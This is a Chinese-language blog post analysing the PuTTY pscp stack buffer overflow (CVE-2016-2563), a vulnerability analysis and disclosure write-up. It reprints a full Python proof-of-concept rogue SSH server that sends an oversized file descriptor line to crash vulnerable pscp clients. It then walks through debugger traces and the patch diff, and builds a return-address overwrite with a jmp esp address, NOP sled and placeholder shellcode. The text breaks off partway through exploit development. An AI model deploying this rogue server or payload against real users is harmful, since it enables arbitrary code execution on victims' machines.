(福利局)putty pscp远程代码执行漏洞(CVE-2016-2563)

作者:k0shl 转载请注明出处

这两天给自己放了个假,去云南旅游摄影,漏洞分析前放一些这次旅游我拍摄的照片和大家分享,地点是泸沽湖




设备是佳能5ds,18-105mm镜头,光圈基本用的都是f4.0-f6.3,好啦,下面进入漏洞分析


漏洞说明


putty大家都很熟悉了,直接下载好像还有漏洞,不行就下前一个版本,我记得只更新了一次。

PoC:

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
# Author : <github.com/tintinweb>
###############################################################################
#
# FOR DEMONSTRATION PURPOSES ONLY!
#
###############################################################################
from binascii import hexlify
import socket
import sys
import threading
import re
import logging

try:
    import paramiko
except ImportError, ie:
    logging.exception(ie)
    logging.warning("Please install python-paramiko: pip install paramiko / easy_install paramiko / <distro_pkgmgr> install python-paramiko")
    sys.exit(1)
from paramiko.py3compat import b, u, decodebytes
from paramiko.ssh_exception import SSHException, ProxyCommandFailure
from paramiko.message import Message
from paramiko.common import cMSG_CHANNEL_OPEN, DEBUG, INFO
from paramiko.channel import Channel

from paramiko.transport import Transport
logging.basicConfig(format='%(levelname)-8s %(message)s',
                    level=logging.DEBUG)
LOG = logging.getLogger(__name__)


class SSHServer (paramiko.ServerInterface):
    # (using the "user_rsa_key" files)
    data = (b'AAAAB3NzaC1yc2EAAAABIwAAAIEAyO4it3fHlmGZWJaGrfeHOVY7RWO3P9M7hp'
            b'fAu7jJ2d7eothvfeuoRFtJwhUmZDluRdFyhFY/hFAh76PJKGAusIqIQKlkJxMC'
            b'KDqIexkgHAfID/6mqvmnSJf0b5W8v5h2pI/stOSwTQ+pxVhwJ9ctYDhRSlF0iT'
            b'UWT10hcuO4Ks8=')
    good_pub_key = paramiko.RSAKey(data=decodebytes(data))

    def __init__(self):
        self.event = threading.Event()
        self.peers = set([])

    def check_channel_request(self, kind, chanid):
        LOG.info("REQUEST: CHAN %s %s"%(kind,chanid))
        if kind == 'session':
            return paramiko.OPEN_SUCCEEDED
        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED

    def check_auth_password(self, username, password):
        LOG.info("REQUEST: CHECK_AUTH_PASS %s %s"%(repr(username),password))
        LOG.info("* SUCCESS")
        return paramiko.AUTH_SUCCESSFUL

    def check_auth_publickey(self, username, key):
        LOG.info("REQUEST: CHECK_AUTH_PUBK %s %s (fp: %s)"%(repr(username),repr(key),hexlify(key.get_fingerprint())))
        LOG.info("* SUCCESS")
        return paramiko.AUTH_SUCCESSFUL
    
    def check_auth_gssapi_with_mic(self, username,
                                   gss_authenticated=paramiko.AUTH_FAILED,
                                   cc_file=None):
        LOG.info("REQUEST: CHECK_AUTH_GSSAPI_MIC %s %s (fp: %s)"%(repr(username),gss_authenticated,cc_file))
        LOG.info("* SUCCESS")
        return paramiko.AUTH_SUCCESSFUL

    def check_auth_gssapi_keyex(self, username,
                                gss_authenticated=paramiko.AUTH_FAILED,
                                cc_file=None):
        LOG.info("REQUEST: CHECK_AUTH_GSSAPI_KEY %s %s (fp: %s)"%(repr(username),gss_authenticated,cc_file))
        return paramiko.AUTH_SUCCESSFUL

    
    def check_channel_x11_request(self, channel, single_connection, auth_protocol, auth_cookie, screen_number):
        LOG.info("X11Req %s, %s, %s, %s, %s"%(channel, single_connection, auth_protocol, auth_cookie, screen_number))
        return True
    
    def check_channel_shell_request(self, channel):
        LOG.info("SHELL %s"%repr(channel))
        self.event.set()
        return True
    
    def check_channel_exec_request(self, channel, command):
        LOG.info("REQUEST: EXEC %s %s"%(channel,command))
        transport =  channel.get_transport()
        try:
            if "putty" in transport.CONN_INFO['client'].lower() \
                and float(''.join(re.findall(r'PuTTY_Release_(\d+\.\d+)',transport.CONN_INFO['client']))) <= 0.66 \
                and "scp -f" in command:
                LOG.warning("Oh, hello putty/pscp %s, nice to meet you!"%transport.CONN_INFO['client'])
                # hello putty
                # putty pscp stack buffer overwrite, EIP
                rep_time = "T1444608444 0 1444608444 0\n"
                rep_perm_size = "C755 %s \n"%('A'*200)
                LOG.info("send (time): %s"%repr(rep_time))
                channel.send(rep_time)
                LOG.info("send (perm): %s"%repr(rep_perm_size))
                channel.send(rep_perm_size)
                LOG.info("boom!")
        except ValueError: pass
        
        return True
    
    def enable_auth_gssapi(self):
        UseGSSAPI = False
        GSSAPICleanupCredentials = False
        return UseGSSAPI

    def get_allowed_auths(self, username):
        auths = 'gssapi-keyex,gssapi-with-mic,password,publickey'
        LOG.info("REQUEST: allowed auths: %s"%(auths))
        return auths
    
    def set_host_key(self, host_key):
        self.host_key = host_key
        LOG.info('ServerHostKey: %s'%u(hexlify(host_key.get_fingerprint())))
    
    def listen(self, bind, host_key=None):
        self.bind = bind
        
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        LOG.info("BIND: %s"%repr(bind))
        self.sock.bind(bind)
        self.sock.listen(100)
        LOG.info('Listening for connection ...')

    def accept(self, ):
        client, addr = self.sock.accept()
        LOG.info('new peer: %s'%repr(addr))
        peer = SSHPeerSession(self, client, addr, host_key=self.host_key)
        self.peers.add(peer)
        return peer

class SSHPeerSession(object):
    def __init__(self, server, client, addr, host_key, DoGSSAPIKeyExchange=False):
        self.server, self.client, self.addr = server, client, addr
        self.DoGSSAPIKeyExchange = DoGSSAPIKeyExchange
        self.host_key = host_key
        self.prompt = {}
        
        self.transport = paramiko.Transport(client, gss_kex=DoGSSAPIKeyExchange)  
        self.transport.set_gss_host(socket.getfqdn("."))
        try:
            self.transport.load_server_moduli()
        except:
            LOG.error('(Failed to load moduli -- gex will be unsupported.)')
            raise
        self.transport.add_server_key(self.host_key)
        self.transport.start_server(server=self.server)

    def accept(self, timeout):
        chan = self.transport.accept(timeout)
        if chan is None:
            raise Exception("No channel")
        return chan
    
    def wait(self, timeout):
        LOG.info("wait for event")
        self.server.event.wait(10)
                
class FakeShell(object):
    def __init__(self, peer, channel):
        self.peer = peer
        self.channel = channel
        self.prompt = {'username': peer.transport.get_username().strip(),
                       'host':peer.addr[0],
                       'port':peer.addr[1]}
        
    def banner(self):
        self.channel.send('\r\n\r\nHi %(username)s!\r\n\r\ncommands: echo, allchars, x11exploit, directtcpip, forwardedtcpipcrash\r\nother: pscp crash with: pscp -scp -P %(port)d %(username)s@%(host)s:/etc/passwd .\r\n\r\n'%self.prompt)
        
    def loop(self):
        f = self.channel.makefile('rU')
        while True:
            self.channel.send('%(username)s@%(host)s:~# '%self.prompt)
            cmd = ""
            while not (cmd.endswith("\r") or cmd.endswith("\n")):
                self.peer.server.event.wait(10)
                if not self.peer.server.event.is_set():
                    LOG.error('Peer did not ask for a shell within 10 seconds.')
                    sys.exit(1)
                chunk = f.read(1) #.strip('\r\n')
                if not chunk:
                    continue
                cmd +=chunk
      
            LOG.debug("<== %s"%repr(cmd))
            cmdsplit = cmd.split(" ",1)
            args = ''
            cmd = cmdsplit[0].strip()
            if len(cmdsplit)>1:
                args = cmdsplit[1].strip()
            
            if cmd=="exit":
                break
            try:
                getattr(self, "cmd_%s"%cmd)(cmd, args)
            except AttributeError, ae:
                resp = "- Unknown Command: %s\r\n"%cmd
                LOG.debug("==> %s"%repr(resp))
                self.channel.send(resp)
                
    def cmd_echo(self, cmd, args):
        resp = "%s\r\n"%args
        LOG.debug("==> %s"%repr(resp))
        self.channel.send(resp)
        
    def cmd_allchars(self, cmd, args):
        resp = ''.join(chr(c) for c in xrange(256))
        LOG.debug("==> %s"%repr(resp))
        self.channel.send(resp)
    
    def cmd_x11serverinitiated(self, cmd, args):
        resp = self.peer.transport.open_channel(kind="x11", src_addr=("192.168.139.129",1), dest_addr=("google.com",80))
        LOG.debug("==> chan: %s"%repr(resp))
    
    def cmd_x11exploit(self, cmd, args):
        resp = self.peer.transport.open_channel(kind="x11exploit", src_addr=("1.1.1.1",1), dest_addr=("1.1.1.1",2))
        LOG.debug("==> chan: %s"%repr(resp))
        
    def cmd_directtcpip(self, cmd, args):
        resp = self.peer.transport.open_channel(kind="direct-tcpip", src_addr=("1.1.1.1",1), dest_addr=("1.1.1.1",2))
        LOG.debug("==> chan: %s"%repr(resp))
    
    def cmd_forwardedtcpipcrash(self, cmd, args):
        resp = self.peer.transport.open_channel(kind="forwarded-tcpip", src_addr=("1.1.1.1",1), dest_addr=("1.1.1.1",2))
        LOG.debug("==> chan: %s"%repr(resp))
        
    def cmd_ls(self, cmd, args):
        resp = """total 96
4 -rw-------  1 user user    383 Feb 29 16:48 .bash_history
4 drwx------ 12 user user   4096 Feb 29 16:45 .cache
4 drwx------  4 user user   4096 Feb 29 16:43 .mozilla
4 drwxr-xr-x 18 user user   4096 Feb 29 16:43 .
4 drwxr-xr-x  2 user user   4096 Feb 29 16:43 Pictures
4 drwx------  3 user user   4096 Feb 29 16:43 .gnome2
4 drwx------  2 user user   4096 Feb 29 16:43 .gnome2_private
4 drwxr-xr-x 13 user user   4096 Feb 29 16:42 .config
4 drwx------  3 user user   4096 Feb 29 16:41 .gconf
4 -rw-------  1 user user    636 Feb 29 16:41 .ICEauthority
4 drwx------  3 user user   4096 Feb 29 16:35 .local
4 drwxr-xr-x  2 user user   4096 Feb 29 16:35 Desktop
4 drwxr-xr-x  2 user user   4096 Feb 29 16:35 Documents
4 drwxr-xr-x  2 user user   4096 Feb 29 16:35 Downloads
4 drwxr-xr-x  2 user user   4096 Feb 29 16:35 Music
4 drwxr-xr-x  2 user user   4096 Feb 29 16:35 Public
4 drwxr-xr-x  2 user user   4096 Feb 29 16:35 Templates
4 drwxr-xr-x  2 user user   4096 Feb 29 16:35 Videos
4 drwx------  3 user user   4096 Feb 29 16:35 .dbus
4 -rw-r--r--  1 user user    220 Feb 29 16:34 .bash_logout
4 -rw-r--r--  1 user user   3391 Feb 29 16:34 .bashrc
4 -rw-r--r--  1 user user   3515 Feb 29 16:34 .bashrc.original
4 -rw-r--r--  1 user user    675 Feb 29 16:34 .profile
4 drwxr-xr-x  3 root   root 4096 Feb 29 16:34 ..
""".replace('\n','\r\n')
        LOG.debug("==> %s"%repr(resp))
        self.channel.send(resp)
                
# taken from transport.open_channel
def open_channel_exploit(self,
                 kind,
                 dest_addr=None,
                 src_addr=None,
                 window_size=None,
                 max_packet_size=None):
    """
    Request a new channel to the server. `Channels <.Channel>` are
    socket-like objects used for the actual transfer of data across the
    session. You may only request a channel after negotiating encryption
    (using `connect` or `start_client`) and authenticating.
    .. note:: Modifying the the window and packet sizes might have adverse
        effects on the channel created. The default values are the same
        as in the OpenSSH code base and have been battle tested.
    :param str kind:
        the kind of channel requested (usually ``"session"``,
        ``"forwarded-tcpip"``, ``"direct-tcpip"``, or ``"x11"``)
    :param tuple dest_addr:
        the destination address (address + port tuple) of this port
        forwarding, if ``kind`` is ``"forwarded-tcpip"`` or
        ``"direct-tcpip"`` (ignored for other channel types)
    :param src_addr: the source address of this port forwarding, if
        ``kind`` is ``"forwarded-tcpip"``, ``"direct-tcpip"``, or ``"x11"``
    :param int window_size:
        optional window size for this session.
    :param int max_packet_size:
        optional max packet size for this session.
    :return: a new `.Channel` on success
    :raises SSHException: if the request is rejected or the session ends
        prematurely
    .. versionchanged:: 1.15
        Added the ``window_size`` and ``max_packet_size`` arguments.
    """
    if not self.active:
        raise SSHException('SSH session not active')
    self.lock.acquire()
    try:
        window_size = self._sanitize_window_size(window_size)
        max_packet_size = self._sanitize_packet_size(max_packet_size)
        chanid = self._next_channel()
        m = Message()
        m.add_byte(cMSG_CHANNEL_OPEN)
        m.add_string("x11" if kind == "x11exploit" else kind)
        m.add_int(chanid)
        m.add_int(window_size)
        m.add_int(max_packet_size)
        if (kind == 'forwarded-tcpip') or (kind == 'direct-tcpip'):
            m.add_string(dest_addr[0])
            m.add_int(dest_addr[1])
            m.add_string(src_addr[0])
            m.add_int(src_addr[1])
        elif kind == 'x11':
            m.add_string(src_addr[0])
            m.add_int(src_addr[1])
        elif kind =='x11exploit':
            m.add_int(99999999)
            m.add_bytes('')
            m.add_int(src_addr[1])
        chan = Channel(chanid)
        self._channels.put(chanid, chan)
        self.channel_events[chanid] = event = threading.Event()
        self.channels_seen[chanid] = True
        chan._set_transport(self)
        chan._set_window(window_size, max_packet_size)
    finally:
        self.lock.release()
    self._send_user_message(m)
    while True:
        event.wait(0.1)
        if not self.active:
            e = self.get_exception()
            if e is None:
                e = SSHException('Unable to open channel.')
            raise e
        if event.is_set():
            break
    chan = self._channels.get(chanid)
    if chan is not None:
        return chan
    e = self.get_exception()
    if e is None:
        e = SSHException('Unable to open channel.')
    raise e

# taken from transport._check_banner
def _check_banner_track_client_version(self):
    # this is slow, but we only have to do it once
    for i in range(100):
        # give them 15 seconds for the first line, then just 2 seconds
        # each additional line.  (some sites have very high latency.)
        if i == 0:
            timeout = self.banner_timeout
        else:
            timeout = 2
        try:
            buf = self.packetizer.readline(timeout)
        except ProxyCommandFailure:
            raise
        except Exception as e:
            raise SSHException('Error reading SSH protocol banner' + str(e))
        if buf[:4] == 'SSH-':
            break
        self._log(DEBUG, 'Banner: ' + buf)
    if buf[:4] != 'SSH-':
        raise SSHException('Indecipherable protocol version "' + buf + '"')
    # save this server version string for later
    self.remote_version = buf
    # pull off any attached comment
    comment = ''
    i = buf.find(' ')
    if i >= 0:
        comment = buf[i+1:]
        buf = buf[:i]
    # parse out version string and make sure it matches
    segs = buf.split('-', 2)
    if len(segs) < 3:
        raise SSHException('Invalid SSH banner')
    version = segs[1]
    client = segs[2]
    if version != '1.99' and version != '2.0':
        raise SSHException('Incompatible version (%s instead of 2.0)' % (version,))
    self._log(INFO, 'Connected (version %s, client %s)' % (version, client))
    self.CONN_INFO ={'client':client, 'version':version}                        # track client version


def start_server(bind, host_key=None):
        server = SSHServer()
        server.set_host_key(paramiko.RSAKey(filename='test_rsa.key'))
        server.listen(bind)
        try:
            peer = server.accept()
        except paramiko.SSHException:
            LOG.error('SSH negotiation failed.')
            sys.exit(1)
        
        # wait for auth / async.
        chan = peer.accept(20)
        LOG.info("Authenticated!")

        LOG.info("wait for event")
        peer.wait(10)
        if not server.event.is_set():
            LOG.error('Peer did not ask for a shell within 10 seconds.')
            sys.exit(1)
            
        # most likely waiting for a shell
        LOG.info("spawn vshell")
        vshell = FakeShell(peer, chan)
        vshell.banner()
        vshell.loop()
        vshell.channel.close()

if __name__=="__main__":  
    LOG.setLevel(logging.DEBUG)
    LOG.info("monkey-patch paramiko.Transport.open_channel")
    paramiko.Transport.open_channel = open_channel_exploit
    LOG.info("monkey-patch paramiko.Transport._check_banner")
    paramiko.Transport._check_banner = _check_banner_track_client_version
    LOG.info("--start--")
    DoGSSAPIKeyExchange = False
    arg_bind = sys.argv[1].split(":") if len(sys.argv)>1 else ("0.0.0.0","22")
    bind = (arg_bind[0], int(arg_bind[1]))    
    try:
        start_server(bind)
    except Exception as e:
        LOG.exception('Exception: %s'%repr(e))
        sys.exit(1)

运行PoC之后,主机会开一个22端口,有点像蜜罐,然后使用pscp连接PoC绑定的IP和端口,触发漏洞。

调试环境:
Windows xp sp3
IDA pro
Windbg


漏洞说明


此漏洞是由于pscp连接目标主机后,接收文件路径时,函数sub_407997在处理文件路径长度时,调用到sscanf函数,此函数对传入的文件路径没有进行严格的长度控制,从而导致了畸形字符串覆盖了参数缓冲区,导致程序返回地址可控,从而可以执行任意代码。

值得一提的是,通过poc我构造了可以远程执行代码的exp,稍后会进行详细说明,无论在windows主机,还是linux主机,执行exp.py之后,可以反控对方主机,执行任意代码,下面,我将通过漏洞回溯,补丁对比以及exp构造三方面来详细说明此漏洞。


漏洞分析


首先我们运行poc.py,同时通过命令:

pscp.exe -scp root@IP:/etc/passwd .

来触发此漏洞,运行后输入密码,之后程序崩溃,我们通过附加windbg来观察崩溃位置。

(4d308.4ea50): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=00000000 ecx=00127dc4 edx=00000000 esi=01320ba1 edi=00000000
eip=41414141 esp=00127e1c ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
41414141 ??              ???

可以看到此时eip已经执行到41414141,而41414141正是poc中构造的畸形字符串,说明程序可控,那么接下来我们要回溯一下漏洞发生前的情况,通过kb查看堆栈调用。

0:000> kb
ChildEBP RetAddr  Args to Child              
WARNING: Frame IP not in any known module. Following frames may be wrong.
00127e18 41414141 41414141 41414141 41414141 0x41414141
00127e1c 41414141 41414141 41414141 41414141 0x41414141
00127e20 41414141 41414141 41414141 41414141 0x41414141
00127e24 41414141 41414141 41414141 41414141 0x41414141
00127e28 41414141 41414141 41414141 41414141 0x41414141
00127e2c 41414141 41414141 41414141 41414141 0x41414141
00127e30 41414141 41414141 41414141 41414141 0x41414141

此时堆栈已经完全被畸形字符串冲垮,那么就需要从一些关键函数入手来回溯整个过程,我们通过poc的一些情况介绍,可以知道是sscanf出现的问题,那么通过ida,可以找到sscanf函数位置。

.text:00435FB0 ; int sscanf(const char *, const char *, ...)
.text:00435FB0 _sscanf         proc near               ; CODE XREF: sub_4051D3+226p
.text:00435FB0                                         ; sub_407997+600p ...
.text:00435FB0
.text:00435FB0 var_20          = FILE ptr -20h
.text:00435FB0 arg_0           = dword ptr  8
.text:00435FB0 arg_4           = dword ptr  0Ch
.text:00435FB0 arg_8           = dword ptr  10h
.text:00435FB0
.text:00435FB0                 push    ebp
.text:00435FB1                 mov     ebp, esp
.text:00435FB3                 sub     esp, 20h
.text:00435FB6                 mov     eax, [ebp+arg_0]
.text:00435FB9                 push    eax             ; char *
.text:00435FBA                 mov     [ebp+var_20._flag], 49h
.text:00435FC1                 mov     [ebp+var_20._base], eax
.text:00435FC4                 mov     [ebp+var_20._ptr], eax
.text:00435FC7                 call    _strlen
.text:00435FCC                 mov     [ebp+var_20._cnt], eax
.text:00435FCF                 lea     eax, [ebp+arg_8]
.text:00435FD2                 push    eax             ; int
.text:00435FD3                 push    [ebp+arg_4]     ; int
.text:00435FD6                 lea     eax, [ebp+var_20]
.text:00435FD9                 push    eax             ; FILE *
.text:00435FDA                 call    __input
.text:00435FDF                 add     esp, 10h
.text:00435FE2                 leave
.text:00435FE3                 retn
.text:00435FE3 _sscanf         endp

可以看到,sscanf处于主程序领空,说明sscanf是作为程序的一个函数独立编写的,那么接下来我们就在sscanf下断点,进行跟踪,但我在跟踪的过程中,发现windbg并不能有效的中断在sscanf的位置,因此此次分析我们使用ollydbg来进行分析。

我们通过od带参数启动pscp.exe,通过查找模块间调用,对call sscanf下断点,多次命中断点执行后程序终于到达漏洞现场,观察一下栈里的情况。

00127DA0   00408012  返回到 pscp.00408012 来自 pscp.00435FB0
00127DA4   01409360  ASCII "755 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
00127DA8   0044065C  ASCII "%lo %s %n"
00127DAC   0012FE34

可以看到此时栈中的调用,在00127DA4栈中的情况已经覆盖上了畸形字符串,那么这时候我们看一下堆栈回溯。

调用堆栈:     主线程
地址       堆栈       函数过程 / 参数                       调用来自                      结构
00127DA0   00408012   pscp.00435FB0                         pscp.0040800D                 00127E14
00127E18   004084D2   pscp.00407997                         pscp.004084CD                 00127E14
0012FE7C   0040894D   pscp.0040847D                         pscp.00408948                 0012FE78
0012FE94   004093D0   pscp.00408855                         pscp.004093CB                 0012FE90
0012FEB0   00437120   ? pscp.004324A1                       pscp.0043711B                 0012FEAC

观察堆栈可以看到之前的调用情况,我们通过这种方式就能够成功回溯漏洞触发的原因,在最外层调用可以看到

loc_409302:             ; "-scp"
push    offset aScp
push    dword ptr [esi] ; char *
call    _strcmp
test    eax, eax
pop     ecx
pop     ecx
jnz     short loc_409322

是对-scp指令的操作,接下来看一下00408948地址的位置。

.text:00408944                 push    esi             ; int
.text:00408945                 push    [ebp+lpFileName] ; lpFileName
.text:00408948                 call    sub_40847D

同时观察一下od的堆栈和寄存器情况。

EAX 00000000
ECX 77B868B0 ntdll.77B868B0
EDX 01340164
EBX 00000001
ESP 0012FE80
EBP 0012FE90
ESI 01340B78 ASCII "/etc/passwd"
EDI 00000000
EIP 00408948 pscp.00408948

0012FE80   01340B84  UNICODE "."
0012FE84   01340B78  ASCII "/etc/passwd"

可以看到sub_40847D函数的第一个参数是“.”,是-scp参数用于从linux主机传回windows主机操作时,要在自己主机创建的文件,那么接下来跟入这个函数。

.text:004084C9                 lea     eax, [ebp+var_50]
.text:004084CC                 push    eax
.text:004084CD                 call    sub_407997

到达004084CD处的call调用时,单步步过,到达漏洞现场,那么重新开启此程序,继续跟入此函数,在sub_407997函数中发现了一处循环。

对此处循环直接步过,发现第一次循环结束时,eax的值

T1444608444 0 1444608444 0\n

这个值很熟悉,正是poc中send的值,那么直接F9,果然再次命中此次循环,再次执行结束时观察堆栈情况。

ECX 01623180 ASCII "755 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
EDX 0162210A
EBX 00000043
ESP 00127DB8
EBP 00127E14
ESI 0012FE28
EDI 00000001
EIP 00407F4F pscp.00407F4F

查看一下内存状况

01623178  6C 46 F0 44 6D 9E 02 10 37 35 35 20 41 41 41 41  lF餌m?755 AAAA
01623188  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01623198  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
016231A8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
016231B8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
016231C8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
016231D8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
016231E8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
016231F8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01623208  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01623218  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01623228  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01623238  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01623248  41 41 41 41 20 0A 41 41 41 41 41 41 41 41 41 41  AAAA .AAAAAAAAAA
01623258  41 41 41 20 0A 00 00 00 00 00 00 00 00 00 00 00  AAA ............

果然已经被畸形字符串覆盖,那么接下来循环结束,到达sscanf位置。

.text:00407FEE loc_407FEE:                             ; CODE XREF: sub_407997+5DCj
.text:00407FEE                 xor     eax, eax
.text:00407FF0                 cmp     ebx, 43h
.text:00407FF3                 setnz   al
.text:00407FF6                 inc     eax
.text:00407FF7                 mov     [esi], eax
.text:00407FF9                 lea     eax, [ebp+var_C]
.text:00407FFC                 push    eax
.text:00407FFD                 lea     eax, [ebp+var_50]
.text:00408000                 push    eax
.text:00408001                 lea     eax, [esi+0Ch]
.text:00408004                 push    eax
.text:00408005                 push    offset aLoSN    ; "%lo %s %n"
.text:0040800A                 push    dword ptr [esi+4] ; char *
.text:0040800D                 call    _sscanf



堆栈 ds:[0012FE2C]=01623180, (ASCII "755 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")

此时传入的参数已经是畸形字符串了,那么我们来看一下这个函数中的伪代码。首先在之前接收send部分的伪代码。

        do
        {
          if ( sub_40679C() <= 0 )
            sub_4068C6("Lost connection", v56);
          v51 = v72;
          if ( v72 >= (signed int)v65 )
          {
            v52 = *(void **)(a1 + 4);
            v65 = (_DWORD *)(v72 + 128);
            *(_DWORD *)(a1 + 4) = sub_403B8E(v52, v72 + 128, 1);
            v51 = v72;
          }
          *(_BYTE *)(v51 + *(_DWORD *)(a1 + 4)) = v74;
          ++v72;
        }
        while ( v74 != 10 );

接着到达sscanf位置的伪代码。

      if ( sscanf(*(const char **)(a1 + 4), "%ld %*d %ld %*d", a1 + 32, a1 + 28) != 2 )
        sub_4068C6("Protocol error: Illegal time format", v56);
      v53 = dword_4532F4;
      *(_DWORD *)(a1 + 24) = 1;
      (*(void (__cdecl **)(int, char *, signed int))(v53 + 12))(dword_4532E0, &byte_43F453, 1);
    }
    *(_DWORD *)a1 = (v50 != 67) + 1;
    if ( sscanf(*(const char **)(a1 + 4), "%lo %s %n", a1 + 12, &v57, &v72) != 2 )
      sub_4068C6("Protocol error: Illegal file descriptor format", v56);

可以看到,在接收到文件名的时候到sscanf时,对目标主机发送回来的文件名没有进行文件长度检查和控制,导致在执行sscanf后返回造成了缓冲区溢出。


补丁对比


漏洞出现之后,putty官方更新了新的版本0.67,更新后我们进行一下补丁对比,可以看到,在sscanf时,对传入字符串的长度进行了控制,0.66漏洞版本:

    if ( sscanf(*(const char **)(a1 + 4), "%lo %s %n", a1 + 12, &v57, &v72) != 2 )
      sub_4068C6("Protocol error: Illegal file descriptor format", v56);

0.67修复后的版本

    if ( sscanf(*(const char **)(a1 + 4), "%lo %39s %n", a1 + 12, &v56, &v71) != 2 )
      sub_406912("Protocol error: Illegal file descriptor format");

我们对0.67版本进行一次单步跟踪,到达sscanf之后,可以看到。

00127DA4   01629348  ASCII "755 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
00127DA8   0044065C  ASCII "%lo %39s %n"
00127DAC   0012FE34
00127DB0   00127DC4  ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
00127DB4   00127E08  UNICODE "+"

在00127DB0位置对长度进行了控制,保持在39个字节,这样执行完毕后,就不会再造成缓冲区溢出,接下来,我们针对0.66版本构造EXP


EXP构造


首先,我们需要定位返回地址的位置,我们先找到poc.py中发送畸形字符串的代码部分。

                rep_time = "T1444608444 0 1444608444 0\n"
                rep_perm_size = "C755 %s \n"%('A'*200)
                LOG.info("send (time): %s"%repr(rep_time))
                channel.send(rep_time)
                LOG.info("send (perm): %s"%repr(rep_perm_size))

重新构造rep_perm_size部分。

                rep_time = "T1444608444 0 1444608444 0\n"
                rep_perm_size = "C755 %s \n"%('A'*50+'B'*150)
                LOG.info("send (time): %s"%repr(rep_time))

(4bfbc.48ddc): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=00000000 ecx=00127dc4 edx=00000000 esi=013a0ba1 edi=00000000
eip=42424242 esp=00127e1c ebp=42424242 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
42424242 ??              ???

可以看到返回地址已经修改成了BBBB,以此类推,定位到了关键部分。

                rep_time = "T1444608444 0 1444608444 0\n"
                rep_perm_size = "C755 %s \n"%('A'*84+'\x43\x43\x43\x43'+'\x90'*80 + '\xcc'*30)
                LOG.info("send (time): %s"%repr(rep_time))
                
                
(4e3a8.47dd8): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=0000006e ecx=00127dc4 edx=00000000 esi=002e0ba1 edi=00000000
eip=00127e8a esp=00127e1c ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
00127e8a 0000            add     byte ptr [eax],al          ds:0023:00000000=??
0:000> dd esp
00127e1c  43434343 43434343 43434343 43434343
00127e2c  43434343 43434343 43434343 43434343
00127e3c  43434343 43434343 43434343 43434343
00127e4c  43434343 43434343 43434343 43434343
00127e5c  43434343 43434343 43434343 43434343
00127e6c  43434343 43434343 43434343 43434343
00127e7c  43434343 43434343 43434343 00004343

在偏移84的位置的时候,正好是覆盖返回地址的时候,这样,我们使用万能跳转地址7ffa4512 jmp esp,这个地址在32位版本的win7和winxp下适用。同时,在jmp esp后面部署我们即将部署的shellcode作为测试。

                rep_time = "T1444608444 0 1444608444 0\n"
                rep_perm_size = "C755 %s \n"%('A'*84+'\x12\x45\xfa\x7f'+'\x90'*80 + '\xcc'*30)
                LOG.info("send (time): %s"%repr(rep_time))




(4a7f0.4acd0): Break instruction exception - code 80000003 (!!! second chance !!!)
eax=00000000 ebx=00000000 ecx=00127dc4 edx=00000000 esi=01330ba1 edi=00000000
eip=00127e6c esp=00127e1c ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
00127e6c cc              int     3
0:000> dd esp
00127e1c  90909090 90909090 90909090 90909090
00127e2c  90909090 90909090 90909090 90909090
00127e3c  90909090 90909090 90909090 90909090
00127e4c  90909090 90909090 90909090 90909090
00127e5c  90909090 90909090 90909090 90909090
00127e6c  cccccccc cccccccc cccccccc cccccccc
00127e7c  cccccccc cccccccc cccccccc 0000cccc

可以看到程序顺利中断在cc硬断点处,可见shellcode已经被执行,接下来我们来确定一下shellcode在程序中的位置。

                rep_perm_size = "C755 %s \n"%('A'*84+'\x12\x45\xfa\x7f'+ '\xaa\xbb\xcc\xdd'+'\x90'*80 + 

'\xcc'*30)                LOG.info("send (time): %s"%repr(rep_time))



(92d4.92d8): Access violation - code c0000005 (!!! second chance !!!)
